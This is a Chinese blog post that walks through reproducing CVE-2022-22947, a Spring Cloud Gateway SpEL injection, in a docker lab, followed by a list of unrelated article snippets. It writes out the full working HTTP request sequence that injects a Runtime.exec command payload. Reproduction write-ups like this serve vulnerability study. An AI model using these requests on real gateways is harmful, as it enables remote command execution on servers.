新后端漏洞(上)- Spring Cloud Gateway Actuator API SpEL表達式注入命令執行(CVE-2022-22947)

漏洞介紹:

Spring Cloud Gateway是Spring中的一個API網關。其3.1.0及3.0.6版本(包含)以前存在一處SpEL表達式注入漏洞,當攻擊者可以訪問Actuator API的情況下,將可以利用該漏洞執行任意命令。

漏洞環境:

docker 環境

執行如下命令將啟動一個使用了Spring Cloud Gateway 3.1.0的Web服務:

docker-compose up -d

1、利用這個漏洞需要分多步。首先,發送如下數據包即可添加一個包含惡意SpEL表達式的路由:

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8083
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

2、然后,發送如下數據包應用剛添加的路由。這個數據包將觸發SpEL表達式的執行:

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

3、發送如下數據包即可查看執行結果:

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

4、最后,發送如下數據包清理現場,刪除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/95794.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/95794.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/95794.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【OJ】C++ vector類OJ題

只出現過一次的數字(簡單) 136. 只出現一次的數字 - 力扣(LeetCode) 這道題使用異或就非常簡單了,所有數異或到一起,相同的數據雙雙消除,只剩下一個的數。 C語言異或運算詳解-CSDN博客 clas…

為什么外網主機可以telnet通內網nginx端口,但是http請求失敗?

問題是這樣的:我內網主機nginx配置了 域名80端口,然后防火墻沒有配置80端口,但是外網機子去telnet 80端口可以通,用瀏覽器請求域名不能訪問nginx,然后防火墻開了80端口后,瀏覽器就可以訪問nginx了,為什么防…

【Linux游記】基礎指令篇

?????? 楓の個人主頁 你不能改變過去,但你可以改變未來 算法/C/數據結構/C/Linux Hello,這里是小楓。C語言與數據結構和算法初階兩個板塊都更新完畢,我們繼續來學習C,C更新的同時我也會更新Linux。Linux操作系統是很經典的…

阿里云-基于通義靈碼實現高效 AI 編碼 | 4 | 場景學習:3分鐘寫一個音樂鬧鐘小應用

文章目錄一、初版需求與代碼生成二、需求迭代與代碼更新三、需求細化與功能完善3.1 pygame安裝3.2 放置音樂文件3.3 執行代碼免費個人運維知識庫,歡迎您的訂閱:literator_ray.flowus.cn 一、初版需求與代碼生成 首先向通義靈碼提出了基本需求&#xff1…

【算法筆記】歐拉降冪公式與歐拉函數

歐拉降冪公式 在數論中,歐拉降冪公式是一個強大的工具,用于簡化大指數模運算。公式如下: ?k>φ(m),有Ak≡Akmodφ(m)φ(m)(modm)成立。\forall k > \varphi(m),有 A^k \equiv A^{k \mod \varphi(m) \varphi(m…

基于STM32的交通燈設計—緊急模式、可調時間

基于STM32交通燈設計(仿真+程序+設計報告)功能介紹具體功能:1.數碼管和LED模擬交通燈;2.南北綠燈9秒,東西綠燈15秒,黃燈2秒;3.緊急情況:按下按鍵,…

汽車軟件研發智能化:AI在CI/CD中的實踐

當汽車行業加速駛入“軟件定義”的時代,軟件已成為決定車輛競爭力的核心要素。從智能座艙的多場景交互到自動駕駛的復雜決策邏輯,汽車軟件的代碼量逐年遞增,復雜度呈指數級攀升,傳統研發流程深陷困境:代碼質量管控滯后…

DeepSeek:開啟智能體驅動對話式數據分析新時代

在數字化浪潮洶涌澎湃的當下,數據已然成為驅動企業發展、推動科學研究以及優化日常生活決策的關鍵力量。數據分析,作為從海量數據中提取有價值信息、洞察趨勢、挖掘規律的核心手段,其重要性不言而喻。無論是企業精準把握市場動態、優化運營流程,還是科研人員探索未知領域、…

MCP驅動企業微信智能中樞:企業級機器人服務構建全攻略

一、背景與目標 公司規模200-300人,主要使用企業微信作為內部溝通平臺。日常面臨大量重復性通知工作,如會議提醒、系統維護通知、項目進度更新等。 業務痛點: 人工發送通知效率低下,平均3分鐘/條重要信息傳遞不及時&#xff0c…

語音識別系統的技術核心:從聲音到文字的智能轉換

語音識別技術,也稱為自動語音識別(ASR),其核心目標是將人類語音信號轉換為對應的文本或指令。隨著人工智能的發展,語音識別已成為智能助手、實時翻譯、車載系統等領域的關鍵技術。其工作原理可分解為信號處理、特征提取…

《用 Django 構建博客應用:從模型設計到文章管理的全流程實戰》

《用 Django 構建博客應用:從模型設計到文章管理的全流程實戰》 一、引言:為什么選擇 Django 構建博客系統? 在 Python 的 Web 框架中,Django 被譽為“全能型選手”。它不僅提供了強大的 ORM、模板系統、認證機制和后臺管理,還鼓勵開發者遵循“DRY”(Don’t Repeat You…

以 R1 為視角,手把手教你畫 OSPF 最短路徑樹與推導路由表

視頻版講解>>>>>>>>>>>>>>>>>>>OSPF最短路徑樹構建與路由計算練習(一) 在 OSPF 協議的學習中,“紙上談兵” 不如 “實戰推演”—— 尤其是以特定路由器為主視角,從 LS…

axios請求緩存與重復攔截:“相同請求未完成時,不發起新請求”

import axios from "axios";// 1. 緩存已完成的請求結果(key:請求URL參數,value:數據) const requestCache new Map(); // 2. 記錄正在執行的請求(避免并行重復請求) const pendingR…

k8s的SidecarSet配置和initContainers

目錄引言一、k8s如何實現Sidecar這段配置正確嗎?正確的配置方式為什么這樣做?一個簡單的例子總結二、什么是SidecarSet主要功能使用場景示例配置三、也可以通過 initContainers 的 restartPolicy 實現邊車邏輯四、題外話:什么是InitContainer…

PostgreSQL與SQL Server:為什么 PostgreSQL遙遙領先

PostgreSQL與SQL Server:為什么 PostgreSQL遙遙領先 在數據庫領域,PostgreSQL 和 Microsoft SQL Server 長期以來一直是競爭對手。然而,近年來,PostgreSQL 以其性能、靈活性和創新功能讓 SQL Server 望塵莫及。以下是對 PostgreSQL 明顯優越的…

零跑汽車8月交付57066臺,同比增長超88%

零跑汽車官宣,在剛剛過去的8月份,品牌交付57066輛,同比增長超88%再創歷史新高,并實現了連續6個月穩坐新勢力銷冠。目前,零跑旗下共有T03、B10、B01、C01、C10、C11、C16等七款車型在售,得益于零跑堅持全棧自…

DNS地址推薦

DNS地址推薦(2025年最新整理) 以下DNS服務器按使用場景分類,涵蓋國內、國際、安全隱私、游戲優化等需求,均為2025年仍在維護的公共DNS服務: 一、國內通用DNS(適合中國大陸用戶) 國內DNS服務器對…

興趣電商內容數據洞察未來市場走向研究——基于開源AI智能名片鏈動2+1模式S2B2C商城小程序的實踐

摘要:在互聯網電商數據高度透明的當下,“已發生”的品類規模和品類增速數據雖易獲取,但主要反映市場歷史狀況,難以預測未來走向。興趣電商的內容數據因揭示消費者“新需求”和“潛在需求”,在宏觀層面更早體現用戶消費…

【已更新文章+代碼】2025數學建模國賽A題思路代碼文章高教社杯全國大學生數學建模-煙幕干擾彈的投放策略

截止周四晚上11點已更新五個問題完整建模和問題一二的代碼 截止周五早上完整版已更新 可以看主頁最新博文獲取 完整內容請看文末最后的推廣群2.1問題1的分析 問題1是典型的確定性時空幾何與運動學計算問題,核心在于通過建立坐標系下的參數方程,量化煙幕云…

UE4 Rider如何直接調試PC DebugGame

背景1、用UBT 打了一個exe的包,打開時遇到崩潰,想獲知這個崩潰時的中間信息,例如材質信息,于是我直接雙擊 打包位置下的崩潰dmp文件 (MyGame/Saved/Archived/WindowsClient/MyGame/Saved/Crashes/....dmp) …